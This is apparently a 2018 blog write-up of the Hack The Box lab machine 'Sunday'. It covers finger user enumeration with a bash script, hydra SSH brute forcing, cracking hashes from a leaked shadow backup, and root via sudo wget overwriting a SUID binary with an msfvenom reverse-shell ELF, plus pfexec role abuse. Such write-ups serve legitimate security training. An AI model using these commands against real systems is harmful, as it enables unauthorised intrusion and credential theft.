Blog

HTB{ Sunday }

Sep 29, 2018 | 7 minutes read

Tags: solaris, hack the box, wget, pfexec

Sunday was a fun box for me. I’ve used Solaris in the past, but it’s been quite awhile, so I enjoyed getting the opportunity to work on Solaris again. What really made this box fun was the different ways of getting a root shell.


htb-badge

Scans

masscan

As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p0-65535 --rate 700 -oL "scan.10.10.10.76.tcp" 10.10.10.76
#masscan
open tcp 22022 10.10.10.76 1537703852
open tcp 79 10.10.10.76 1537703886
open tcp 111 10.10.10.76 1537703890
# end

nmap - tcp

The thing that jumped out at me in the nmap scan is the finger service.

nmap -p 22022,79,111 -sC -sV -oN nmap.scan 10.10.10.76
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-23 07:05 CDT
Nmap scan report for 10.10.10.76
Host is up (0.10s latency).

PORT      STATE SERVICE   VERSION
79/tcp    open  finger    Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind   2-4 (RPC #100000)
22022/tcp open  ssh       SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.35 seconds

Initial Access

Listing Users via finger

The finger service displays information about the users on a system. It’s a simple service that has been around a very long time. There are pre-built scripts out there to handle all of this for us, but let’s do some manual exploration and see how the service works.

First, we can request a list of currently logged-on users (what nmap did for us above) by sending an empty string:

finger @10.10.10.76
No one logged on

We can also request information about a user we can reasonably assume is on the box with the command:

finger root@10.10.10.76
Login       Name               TTY         Idle    When    Where
root     Super-User            pts/3        <Apr 24 10:37> sunday              

One last thing to try is sending a username we can assume is NOT on the box:

finger beniciodeltoro@10.10.10.76
Login       Name               TTY         Idle    When    Where
beniciodeltoro        ???

So, we have a service that responds with actual information when when we send it a username that exists, and the username with three question marks when it doesn’t. We can use this to write a naive implementation of a finger enumeration script.

 1#!/bin/bash
 2
 3# run the finger command using the current line of the file as a username
 4#   
 5# strip out headers in the form of 
 6# Login       Name               TTY         Idle    When    Where
 7#
 8# and strip out responses containing '???'
 9#
10# remaining results should look similar to  
11# root     Super-User            pts/3        <Apr 24 10:37> sunday
12
13if [[ $# -lt 2 ]]; then
14    echo "Usage: $0 TARGET WORDLIST"
15    exit
16fi
17
18while read user; do
19    finger "${user}"@"${1}" | egrep -v -e "^Login" -e "\?\?\?"
20done < "${2}"

With our script in hand, we can throw a wordlist at the box and see what users are present.

./finger-enum.sh 10.10.10.76 /usr/share/wordlists/SecLists/Usernames/Names/names.txt
 1nobody   NFS Anonymous Access               < .  .  .  . >
 2noaccess No Access User                     < .  .  .  . >
 3nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >
 4adm      Admin                              < .  .  .  . >
 5lp       Line Printer Admin                 < .  .  .  . >
 6uucp     uucp Admin                         < .  .  .  . >
 7nuucp    uucp Admin                         < .  .  .  . >
 8dladm    Datalink Admin                     < .  .  .  . >
 9listen   Network Admin                      < .  .  .  . >
10lp       Line Printer Admin                 < .  .  .  . >
11smmsp    SendMail Message Sub               < .  .  .  . >
12sammy    sammy                 pts/2        <Apr 24 12:57> 10.10.14.4          
13sunny    sunny                 pts/2        <Sep 19 06:34> 10.10.14.13         

SSH Brute Force

We have some usernames, no other ways to enumerate further, and no other clear way to try and gain access to the system. Those things combined suggest password guessing may be the next step.

hydra -L sunny_and_sammy.txt -P /usr/share/wordlists/rockyou.txt -e nsr -u -s 22022 -t 4 10.10.10.76 ssh
hydra options used:
    -L FILE
        load several logins from FILE
    
    -P FILE
        load several passwords from FILE
    
    -e nsr
        try "n" null password, "s" login as pass and/or "r" reversed login

    -u
        loop around users, not passwords
    
    -s PORT   
        if the service is on a different default port, define it here

    -t TASKS  
        run TASKS number of connects in parallel per target (default: 16)
-------------8<-------------
[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday
-------------8<-------------

\o/ - access level: sunny

sunny to sammy

shadow File Backup

Basic enumeration steps turned up an interesting directory /backup. Within the directory, there are two files, one of which we can read.

 1/backup/shadow.backup
 2════════════════════════════
 3mysql:NP:::::::
 4openldap:*LK*:::::::
 5webservd:*LK*:::::::
 6postgres:NP:::::::
 7svctag:*LK*:6445::::::
 8nobody:*LK*:6445::::::
 9noaccess:*LK*:6445::::::
10nobody4:*LK*:6445::::::
11sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
12sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Password Cracking with john

Pulling back sammy’s hash found above, we run john and are rewarded with sammy’s password: cooldude!.

/opt/JohnTheRipper/run/john hash --wordlist=/usr/share/wordlists/rockyou.txt
-------------8<-------------
cooldude!        (sammy)
-------------8<-------------

After logging in as sammy via ssh or su, we can grab user.txt.

wc -c Desktop/user.txt
33 Desktop/user.txt

\o/ - access level: sammy

sammy to root via sudo wget

List User’s sudo Privileges

By running a sudo -l we get the following output.

User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

Overwrite SUID Binary

I know a popular method of rooting this machine was to overwrite /etc/sudoers with sammy having ALL sudo privileges. This is ok, if done correctly. Unfortunately, it’s easy to mess up and if the sudoers file gets hosed, this particular path to root goes with it. Let’s look at a much cleaner method for leveraging sammy’s use of sudo.

Locate a SUID Binary

On target, we need to identify a SUID binary that is owned by root.

find / -perm -4000 -ls 2>/dev/null

There are a lot that get returned, but choosing one that won’t have any adverse side-effects if something goes wrong is probably a good idea. I went with ping.

153503   55 -r-sr-xr-x   1 root     bin           175 Sep 23  2018 /usr/sbin/ping

Generate a Reverse Callback Executable

We’ll use msfvenom to create an ELF executable that will callback to our kali host.

msfvenom -p solaris/x86/shell_reverse_tcp LHOST=tun0 LPORT=12345 -f elf -o solaris-reverse-tcp-12345.elf

Transfer and Overwrite

We need to serve the binary so the target can download it with wget. I used Python’s http module.

python3 -m http.server 80

On target, we’ll use wget to overwrite ping with solaris-reverse-tcp-12345.elf.

sudo /usr/bin/wget 10.10.14.77/solaris-reverse-tcp-12345.elf -O /usr/sbin/ping

root Shell

Now that ping is really our msfvenom executable, we can get our callback.

# on kali
nc -nvlp 12345

# on target 
/usr/sbin/ping
id
uid=101(sammy) gid=10(staff) euid=0(root)
wc -c /root/root.txt
33 /root/root.txt

\o/ - root access

sammy to root via pfexec (unintended?)

I sent a message to the creator but never received a reply so I’m not sure if this was an unintended root or not. In either case it’s interesting, so let’s check it out.

If you want to learn more about roles, check out this 4-part blog post, it covers a lot related to RBAC on Solaris.

Solaris Role Based Access Controls

Role: A special identity for running privileged applications. The special identity can be assumed by assigned users only. In a system that is run by roles, superuser is unnecessary. Superuser capabilities are distributed to different roles. [2]

If we look at the /etc/user_attr file, we can see that root is defined as a role. What’s doubly interesting is that in the same file, sammy is defined as having the root role.

/etc/user_attr
════════════════════════════
root::::type=role;auths=solaris.*,solaris.grant;profiles=All;lock_after_retries=no;min_label=admin_low;clearance=admin_high
-------------8<-------------
sammy::::profiles=Primary Administrator;roles=root

Another way to check is to run the roles command. Running roles as sammy produces the output below.

root

Prior to Solaris 11.2, the account created during OS install is automatically assigned the root role and Primary Administrator profile.

pfexec

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec_attr(4) database. The interesting thing about pfexec is that you don´t have to authenticate. You can think of it like a passwordless sudo that uses roles. Let’s try it out.

pfexec bash
sammy@sunday:~# id
uid=0(root) gid=0(root) groups=10(staff)

Pretty simple. No setup required. As soon as we accessed the sammy account, we were effectively root, whether we knew it or not.

\o/ - double root access

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. Taking Your First Steps with Oracle Solaris 11
  2. Less known Solaris features: RBAC and Privileges - Part 2: Role Based Access Control
  3. Less known Solaris features: pfexec

comments powered by Disqus